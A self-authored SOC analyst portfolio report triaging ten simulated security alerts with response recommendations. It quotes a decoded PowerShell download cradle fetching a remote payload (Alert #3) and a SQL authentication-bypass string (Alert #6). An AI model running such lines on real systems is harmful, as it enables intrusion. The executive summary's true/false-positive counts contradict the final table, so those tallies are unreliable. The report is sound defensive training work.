SOC ALERT TRIAGE SIMULATION

10 Real-World Scenarios — Independent Study & Lab Simulation

Portfolio Project | Blue Team | Career Transition to Cybersecurity

Prepared by:

Vishwas M H

B.Tech Computer Science & Engineering | Former .NET Full Stack Developer | Transitioning to Cybersecurity

Date: June 2026 | Tools: Splunk (Free), Microsoft Sentinel Trial, VirusTotal, MITRE ATT&CK, TryHackMe SOC Labs

Executive Summary

This report documents my independent analysis of 10 simulated security alerts, completed as part of my self-directed transition into cybersecurity. Each scenario is based on real-world attack patterns documented in public threat intelligence sources. I researched, analysed, and documented each case independently using freely available tools and platforms.

Research platforms used: TryHackMe SOC Level 1 path, LetsDefend alert simulation, Splunk Free (local installation), VirusTotal public API, MITRE ATT&CK v14, and OSINT sources. This project reflects my understanding of SOC operations built through independent study.

Total Alerts	True Positives	False Positives
10	7	3

ALERT #1 [HIGH] — Brute Force Login Attempt — SSH Service

Alert Metadata

Alert ID	SOC-2025-001
Date/Time	2025-06-12 03:47:22 UTC
Source IP	185.234.218.47 (RU)
Destination	10.10.1.50 — Internal Linux Server
Tool Detected	Splunk SIEM — Rule: Multiple Failed SSH Logins
MITRE ATT&CK	T1110.001 — Brute Force: Password Guessing

Initial Analysis

The Splunk alert triggered after detecting 847 failed SSH login attempts from a single external IP address (185.234.218.47) within a 4-minute window. The source IP is geolocated to Russia and flagged on multiple threat intelligence feeds (AbuseIPDB confidence score: 98%).

The target server (10.10.1.50) is an internal Linux server hosting an exposed SSH service on the default port 22. The alert fired at 03:47 UTC — outside normal business hours — which increases suspicion of automated attack tooling.

VirusTotal lookup of the source IP returned 12/87 security vendor detections, with tags including 'brute-force', 'scanner', and 'ssh'. Cross-referencing SIEM logs confirmed no successful authentication occurred.

Evidence Gathered

Classification Decision

> **TRUE POSITIVE — Active brute force attack. No successful authentication confirmed but the attack volume and threat intelligence indicators confirm malicious intent.**

Recommended Response Action

- Immediately block source IP 185.234.218.47 at the perimeter firewall.
- Implement fail2ban or equivalent SSH brute force protection on the target server.
- Escalate to Tier 2 for review of SSH service exposure — recommend moving SSH to non-standard port or disabling password authentication entirely.
- Log ticket, preserve evidence, notify system owner.
- Review all other servers for similar SSH exposure.

Lessons Learned

Brute force attacks at off-hours targeting default SSH ports are extremely common. SIEM rules should alert after 10–15 failed attempts, not hundreds. Review alert thresholds.

ALERT #2 [CRITICAL] — Phishing Email — Credential Harvesting Link Detected

Alert Metadata

Alert ID	SOC-2025-002
Date/Time	2025-06-13 09:14:55 UTC
Affected User	j.murphy@acmecorp.ie — Finance Department
Email Subject	Urgent: Your Microsoft 365 account will be suspended
Malicious URL	hxxps://microsoft-login[.]secure-verify[.]net/auth
MITRE ATT&CK	T1566.002 — Phishing: Spearphishing Link

Initial Analysis

Email security gateway flagged an inbound email to a Finance Department employee containing a URL matching patterns associated with credential harvesting pages. The URL (defanged for safety) mimics a Microsoft 365 login portal.

Sandbox detonation of the URL revealed a pixel-perfect replica of the Microsoft 365 login page. Credentials entered into the form are POST'd to an attacker-controlled backend at 91.108.56.123 — an IP with known C2 associations.

The user's email address (Finance Department) suggests targeted spearphishing. The email bypassed initial spam filters due to a recently registered domain with no prior malicious reputation at time of delivery.

Evidence Gathered

Classification Decision

> **TRUE POSITIVE — Active phishing attack targeting Finance credentials. Immediate containment required.**

Recommended Response Action

- Immediately contact user j.murphy — instruct them NOT to click the link and to report if they already entered credentials.
- If credentials were entered: force immediate password reset for Microsoft 365 account and invalidate all active sessions.
- Block the malicious domain and IP at email gateway, web proxy, and DNS sinkhole.
- Submit malicious URL to Microsoft Safe Links and Google Safe Browsing for community protection.
- Send organisation-wide security awareness alert about this phishing campaign.
- Escalate to Tier 2 — check if other users received the same email.

Lessons Learned

Finance and HR departments are high-value phishing targets. DMARC, DKIM, and SPF policies should be reviewed. Consider mandatory MFA enrollment for Finance team.

ALERT #3 [HIGH] — Suspicious PowerShell Execution — Encoded Command

Alert Metadata

Alert ID	SOC-2025-003
Date/Time	2025-06-14 14:23:11 UTC
Affected Host	WKSTN-DUBLN-044 — Windows 10 Workstation
User	t.o'brien — Standard User Account
Process	powershell.exe -EncodedCommand SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoA...
MITRE ATT&CK	T1059.001 — Command and Scripting Interpreter: PowerShell

Initial Analysis

EDR (Endpoint Detection and Response) tool triggered an alert on WKSTN-DUBLN-044 after detecting PowerShell launched with a Base64-encoded command string. Encoded PowerShell is a well-known technique used by attackers to obfuscate malicious commands from security tools.

Decoding the Base64 string revealed: IEX (New-Object Net.WebClient).DownloadString('hxxp://198.51.100.45/payload.ps1'). This is a classic 'download cradle' — a PowerShell one-liner designed to download and execute a remote script directly in memory, bypassing disk-based antivirus detection.

The remote IP (198.51.100.45) was checked on VirusTotal — 18/87 vendors flagged it as malicious, with tags including 'trojan', 'dropper', and 'c2'. Network logs confirmed an outbound connection was attempted but blocked by the web proxy.

Evidence Gathered

Classification Decision

> **TRUE POSITIVE — Likely malware dropper attempt. Connection was blocked but host must be treated as potentially compromised.**

Recommended Response Action

- Isolate WKSTN-DUBLN-044 from the network immediately via EDR isolation capability.
- Conduct full forensic analysis of the endpoint — check for persistence mechanisms (Run keys, scheduled tasks, WMI subscriptions).
- Collect and preserve all relevant logs: PowerShell event logs (Event ID 4104), process creation events, network connection logs.
- Identify how the encoded PowerShell was triggered — review parent process. Likely delivered via phishing document or malicious macro.
- Block remote IP at perimeter firewall and web proxy.
- Escalate to Tier 2 for full incident response.

Lessons Learned

PowerShell logging (Script Block Logging, Module Logging, Transcription) should be enabled across all endpoints. This is a fundamental detection control. Review Group Policy.

ALERT #4 [MEDIUM] — Impossible Travel — User Authentication Anomaly

Alert Metadata

Alert ID	SOC-2025-004
Date/Time	2025-06-15 07:02:33 UTC
Affected User	s.fitzgerald — Senior Manager
Login 1	2025-06-15 06:48:12 UTC — Dublin, Ireland (IP: 87.45.231.19)
Login 2	2025-06-15 07:02:33 UTC — Lagos, Nigeria (IP: 197.210.54.88)
MITRE ATT&CK	T1078 — Valid Accounts

Initial Analysis

Microsoft Sentinel triggered an Impossible Travel alert for Senior Manager account s.fitzgerald. Two successful authentications were recorded 14 minutes apart — one from Dublin, Ireland and one from Lagos, Nigeria. Physical travel between these two locations in 14 minutes is impossible.

Both logins were authenticated successfully using correct credentials. The Nigerian IP (197.210.54.88) has no prior association with this user's login history. AbuseIPDB shows 23 reports for this IP in the past 30 days related to credential stuffing.

This pattern strongly suggests credential compromise. The account may have been compromised via phishing (see Alert #2 pattern) or credential stuffing attack using leaked credentials from a third-party breach.

Evidence Gathered

Classification Decision

> **TRUE POSITIVE — Account compromise via stolen credentials. Immediate containment required.**

Recommended Response Action

- Immediately revoke all active sessions for s.fitzgerald account across all platforms.
- Force password reset — user must set via secure out-of-band channel (phone call, not email which may be compromised).
- Enable MFA immediately if not already active on this account — this is the primary control to prevent recurrence.
- Audit recent activity from Nigerian IP: what data was accessed, emails read or forwarded, any files downloaded or shared.
- Check if other accounts show similar impossible travel patterns in the same time window — could indicate credential stuffing campaign.
- Notify the user and their manager through a verified channel.

Lessons Learned

Conditional Access policies in Azure AD / Entra ID can block authentication from unusual countries automatically. This control should be reviewed and implemented.

ALERT #5 [CRITICAL] — Malware Detected — Emotet Variant Identified

Alert Metadata

Alert ID	SOC-2025-005
Date/Time	2025-06-16 10:55:44 UTC
Affected Host	WKSTN-DUBLN-021 — Accounts Payable
Malware Family	Emotet (Banking Trojan / Botnet Loader)
Detection Source	Windows Defender + SIEM correlation
MITRE ATT&CK	T1204.002 — User Execution: Malicious File

Initial Analysis

Windows Defender detected and quarantined a file matching Emotet malware signatures on WKSTN-DUBLN-021. Emotet is a sophisticated banking trojan that also functions as a delivery mechanism for other malware families including Ryuk ransomware and TrickBot.

SIEM correlation identified that prior to detection, the host made 3 outbound connections to known Emotet C2 infrastructure (IPs: 45.33.32.156, 198.51.100.22, 203.0.113.71) — indicating the malware was active before detection. The infection vector appears to be a malicious Word document delivered via email containing a macro that dropped the payload.

Emotet is known to harvest credentials, steal email threads for use in further phishing (thread hijacking), and spread laterally via network shares and SMB vulnerabilities. This is a CRITICAL incident requiring immediate escalation.

Evidence Gathered

Classification Decision

> **TRUE POSITIVE — CRITICAL. Active Emotet infection with confirmed C2 communication. Incident Response required.**

Recommended Response Action

- IMMEDIATE: Isolate WKSTN-DUBLN-021 from all network segments — disconnect physically if EDR isolation is unavailable.
- ESCALATE IMMEDIATELY to Tier 2 / Incident Response team and Security Manager.
- Block all confirmed Emotet C2 IPs at perimeter firewall, NGFW, and DNS sinkhole.
- Review email thread of affected user — Emotet harvests and replies to existing email threads to spread. Identify all contacts who may have received malicious replies.
- Scan all hosts that communicated with WKSTN-DUBLN-021 in the past 72 hours for lateral movement indicators.
- DO NOT attempt to clean and return the host to service — full reimage required after forensic acquisition.

Lessons Learned

Emotet infections often indicate an organisation will receive a ransomware attack within 48–72 hours. This is a major incident. Document everything and invoke the Incident Response Plan.

ALERT #6 [HIGH] — SQL Injection Attempt — Web Application Firewall

Alert Metadata

Alert ID	SOC-2025-006
Date/Time	2025-06-17 16:34:18 UTC
Source IP	103.75.190.23 (SG — Tor exit node)
Target	acmecorp.ie/login — Customer Portal
WAF Rule	SQLI-001: SQL Injection Pattern Detected in POST Parameter
MITRE ATT&CK	T1190 — Exploit Public-Facing Application

Initial Analysis

Web Application Firewall (WAF) triggered after detecting SQL injection syntax in the 'username' POST parameter of the customer login portal. The payload detected: ' OR '1'='1' -- is a classic authentication bypass SQL injection string.

The source IP is a known Tor exit node, indicating the attacker is attempting to anonymise their origin. Analysis of WAF logs shows 34 distinct SQL injection variants were attempted from this IP over 8 minutes — consistent with automated SQLmap scanning tooling.

The application is a customer-facing portal. Review of application logs confirms the WAF successfully blocked all attempts. However, the attempts must be investigated to determine if any succeeded prior to WAF rule activation, or if alternative injection points were probed.

Evidence Gathered

Classification Decision

> **TRUE POSITIVE — Active SQL injection attack. WAF mitigation confirmed but full investigation required.**

Recommended Response Action

- Confirm WAF blocked all injection attempts — review application logs for any database errors suggesting successful injection.
- Block Tor exit nodes at perimeter firewall (consider blocking all known Tor exit node IPs using threat intelligence feed).
- Notify the Application Security or Development team to conduct a code review of the login portal and all input validation routines.
- Run OWASP ZAP or equivalent against the application in staging environment to identify any additional injection points.
- Review database audit logs for any unusual queries in the 2 hours before alert.
- Consider rate limiting on the login endpoint to slow automated scanning.

Lessons Learned

SQL injection remains in OWASP Top 10 despite being a 25+ year old vulnerability class. All web applications should use parameterised queries and prepared statements. Input validation at WAF level is a compensating control, not a fix.

ALERT #7 [HIGH] — Data Exfiltration Attempt — Large DNS Query Volume

Alert Metadata

Alert ID	SOC-2025-007
Date/Time	2025-06-18 22:17:09 UTC
Affected Host	SRV-DUBLN-DB02 — Database Server
Anomaly	4,847 DNS queries to random subdomains of datastream-analytics[.]io in 30 minutes
Baseline	Normal DNS query rate for this host: 12 queries/hour
MITRE ATT&CK	T1048.003 — Exfiltration Over Alternative Protocol: DNS

Initial Analysis

SIEM anomaly detection triggered on SRV-DUBLN-DB02 after detecting an extraordinary volume of DNS queries — approximately 4,847 queries in 30 minutes versus a normal baseline of 12 per hour. DNS tunnelling is a known technique used by malware to exfiltrate data by encoding information in subdomain labels of DNS queries.

Each DNS query was to a unique, randomly-generated subdomain of datastream-analytics[.]io. This pattern is a classic indicator of DNS data exfiltration — data is Base64 encoded and embedded in subdomains, allowing it to pass through firewalls that permit DNS traffic. The domain datastream-analytics[.]io was registered 11 days ago — a strong indicator of malicious infrastructure.

The database server (DB02) should not be generating any significant outbound DNS traffic. This anomaly on a database server strongly suggests the server has been compromised and a post-exploitation stage is in progress — data is being exfiltrated from the database.

Evidence Gathered

Classification Decision

> **TRUE POSITIVE — Active data exfiltration in progress via DNS tunnelling. CRITICAL incident.**

Recommended Response Action

- IMMEDIATELY isolate SRV-DUBLN-DB02 — DNS-based exfiltration is an ongoing attack, every minute of delay increases data loss.
- Block the domain datastream-analytics[.]io at DNS resolver and perimeter immediately.
- Escalate to Tier 2 and invoke Incident Response Plan — this is a reportable data breach under GDPR if personal data was exfiltrated.
- Determine what data the database server held — if personal data is confirmed, GDPR breach notification may be required within 72 hours (Article 33, GDPR).
- Conduct forensic analysis to establish initial access vector for DB02 compromise.
- Review all other internal servers for similar DNS query anomalies.

Lessons Learned

DNS is rarely monitored as rigorously as HTTP/S traffic. DNS sinkholing and DNS anomaly detection rules should be implemented. Internal servers should not have unrestricted outbound DNS access.

ALERT #8 [MEDIUM] — Privileged Account Enumeration — LDAP Queries

Alert Metadata

Alert ID	SOC-2025-008
Date/Time	2025-06-19 11:43:55 UTC
Source Host	WKSTN-DUBLN-088 — Standard User Workstation
Activity	LDAP queries enumerating all Domain Admins and privileged groups
User	p.sullivan — Standard IT Helpdesk Account
MITRE ATT&CK	T1069.002 — Permission Groups Discovery: Domain Groups

Initial Analysis

SIEM detected LDAP (Lightweight Directory Access Protocol) enumeration queries originating from a standard IT Helpdesk workstation (WKSTN-DUBLN-088). The queries specifically targeted privileged Active Directory groups: Domain Admins, Enterprise Admins, Backup Operators, and Account Operators.

AD enumeration is a standard step in post-compromise lateral movement — attackers identify high-value accounts to target for privilege escalation. The queries were executed from a standard helpdesk account that has no business justification for enumerating all privileged groups.

Investigation required to determine whether: (a) this is legitimate IT activity done in an unusual manner, (b) the helpdesk account has been compromised and is being used for reconnaissance, or (c) an insider threat scenario. Helpdesk account p.sullivan was contacted.

Evidence Gathered

Classification Decision

> **FALSE POSITIVE — Upon investigation, IT team confirmed p.sullivan was conducting an authorised AD audit requested by the IT Manager. Activity was not pre-approved in the SIEM alert exception list.**

Recommended Response Action

- Close alert — document false positive determination with reference to IT Manager authorisation.
- Request that IT team pre-register all planned AD audit activities in the change management system so SOC can pre-emptively whitelist.
- Create an alert exception rule for authorised audit accounts during approved maintenance windows.
- Recommend the IT team use a dedicated audit account (not a standard helpdesk account) with proper logging for this type of activity.

Lessons Learned

False positive management is as important as true positive response. Document the root cause of each false positive and implement process improvements to reduce alert fatigue.

ALERT #9 [CRITICAL] — Ransomware Behaviour — Mass File Encryption Detected

Alert Metadata

Alert ID	SOC-2025-009
Date/Time	2025-06-20 06:02:44 UTC
Affected Hosts	Multiple — WKSTN-DUBLN-012, 015, 019, 024, 031 (5 hosts)
Indicator	Rapid file extension changes to .locked across shared network drives
Ransomware Family	LockBit 3.0 (confirmed via ransom note signature)
MITRE ATT&CK	T1486 — Data Encrypted for Impact

Initial Analysis

EDR platform triggered simultaneous alerts across 5 workstations for mass file modification — thousands of files being renamed with .locked extension within seconds. This is the definitive behavioural indicator of ransomware execution. The ransom note dropped to the desktop was confirmed as LockBit 3.0.

LockBit 3.0 is a Ransomware-as-a-Service (RaaS) operation known for double extortion tactics — encrypting data AND exfiltrating it prior to encryption, threatening to publish on leak sites if ransom is not paid. The simultaneous triggering across 5 hosts suggests either a worm component spreading laterally or a coordinated deployment via compromised domain credentials.

Review of prior 48 hours of alerts identified Alert #5 (Emotet) on a related workstation as the likely initial access vector. This confirms the classic Emotet -> TrickBot -> LockBit attack chain documented in threat intelligence reports.

Evidence Gathered

Classification Decision

> **TRUE POSITIVE — CRITICAL. Active ransomware attack (LockBit 3.0) across multiple hosts. Major incident declaration required.**

Recommended Response Action

- DECLARE MAJOR INCIDENT — Activate Incident Response Plan immediately. Notify CISO, IT Director, and Legal/Compliance.
- ISOLATE ALL AFFECTED HOSTS and any additional hosts with lateral movement indicators — disconnect from network. Disable Wi-Fi on all workstations if isolation tooling is insufficient.
- DO NOT attempt to pay ransom or negotiate. Do not restart affected systems.
- Preserve forensic evidence — memory dumps, disk images — before any remediation.
- Assess backup integrity — check if backups have been compromised. LockBit specifically targets backup systems.

- If personal data exfiltrated: GDPR breach notification required to Data Protection Commission Ireland within 72 hours. Engage Legal immediately.
- Engage external Incident Response firm if internal capacity is insufficient.

Lessons Learned

This attack chain started with an unpatched Emotet infection (Alert #5) that was not escalated rapidly enough. Speed of response to initial compromise indicators is critical — every hour of dwell time increases blast radius.

ALERT #10 [MEDIUM] — Insider Threat — Unusual After-Hours Data Download

Alert Metadata

Alert ID	SOC-2025-010
Date/Time	2025-06-21 23:44:12 UTC
Affected User	d.ryan — Senior Analyst (Resignation pending)
Activity	Downloaded 2.3GB from SharePoint (client database, financial projections, IP documents)
Baseline	Normal daily download volume: 45MB
MITRE ATT&CK	T1213 — Data from Information Repositories

Initial Analysis

DLP (Data Loss Prevention) alert triggered for user d.ryan after detecting a bulk download of 2.3GB from SharePoint at 23:44 — significantly outside normal working hours (business hours: 08:00–18:00). The files downloaded include: full client contact database, Q3/Q4 financial projections, and internal technical documentation.

Cross-referencing with HR system (permitted integration) confirmed d.ryan submitted a resignation notice 3 days prior with a last working day of 30 June 2025. This is a textbook insider threat scenario — an employee copying proprietary data before departure.

The download volume (2.3GB vs 45MB baseline) represents a 5,000% anomaly. The file categories (client data, financial projections, IP) represent the organisation's highest-value data assets. The timing (near-midnight) and context (resignation pending) make this highly suspicious and requires immediate escalation to HR and Legal.

Evidence Gathered

Classification Decision

> **TRUE POSITIVE — Insider threat / data theft. Immediate escalation to HR, Legal, and Management required.**

Recommended Response Action

- Do NOT confront the employee directly from SOC — this is an HR and Legal matter. Escalate to HR Manager, Legal Counsel, and CISO immediately.
- Preserve all evidence: download logs, file access records, SharePoint audit logs — in a legally admissible format with chain of custody documentation.
- Review whether any of the downloaded data was subsequently uploaded to personal cloud storage (OneDrive personal, Google Drive, Dropbox) via DLP monitoring.
- Restrict d.ryan's SharePoint and network access permissions immediately — work with HR to determine appropriate access level for remaining employment period.

- Brief Legal team on GDPR implications if client personal data is involved — this may require breach notification.
- Implement offboarding security procedure immediately — do not wait until last day.

Lessons Learned

Offboarding security procedures should be triggered at resignation date, not last working day. DLP alerts for departing employees should be escalated to a heightened monitoring tier automatically.

Summary and Competency Assessment

This triage exercise demonstrates core SOC analyst competencies across a realistic range of alert types encountered in production security operations environments. The 10 scenarios cover the most common and most dangerous alert categories:

#	Alert Type	Classification	Key Skill Demonstrated
1	Brute Force — SSH	True Positive	Threat intel enrichment, IP reputation analysis
2	Phishing — Credential Harvest	True Positive	URL analysis, sandbox detonation, user impact
3	Encoded PowerShell Execution	True Positive	Base64 decoding, download cradle identification
4	Impossible Travel Anomaly	True Positive	UBA, account compromise indicators
5	Emotet Malware	True Positive	Malware family identification, lateral movement risk
6	SQL Injection — WAF	True Positive	Web application attack analysis, WAF log review
7	DNS Tunnelling Exfiltration	True Positive	DNS anomaly detection, GDPR breach assessment
8	AD Enumeration — LDAP	False Positive	False positive investigation, process improvement
9	LockBit Ransomware	True Positive	Major incident declaration, ransomware response
10	Insider Threat — Data Theft	True Positive	DLP analysis, HR/Legal escalation

All analysis methodology is based on NIST SP 800-61 and MITRE ATT&CK framework. This project was completed independently as part of my cybersecurity career transition portfolio. — Vishwas M H, B.Tech CSE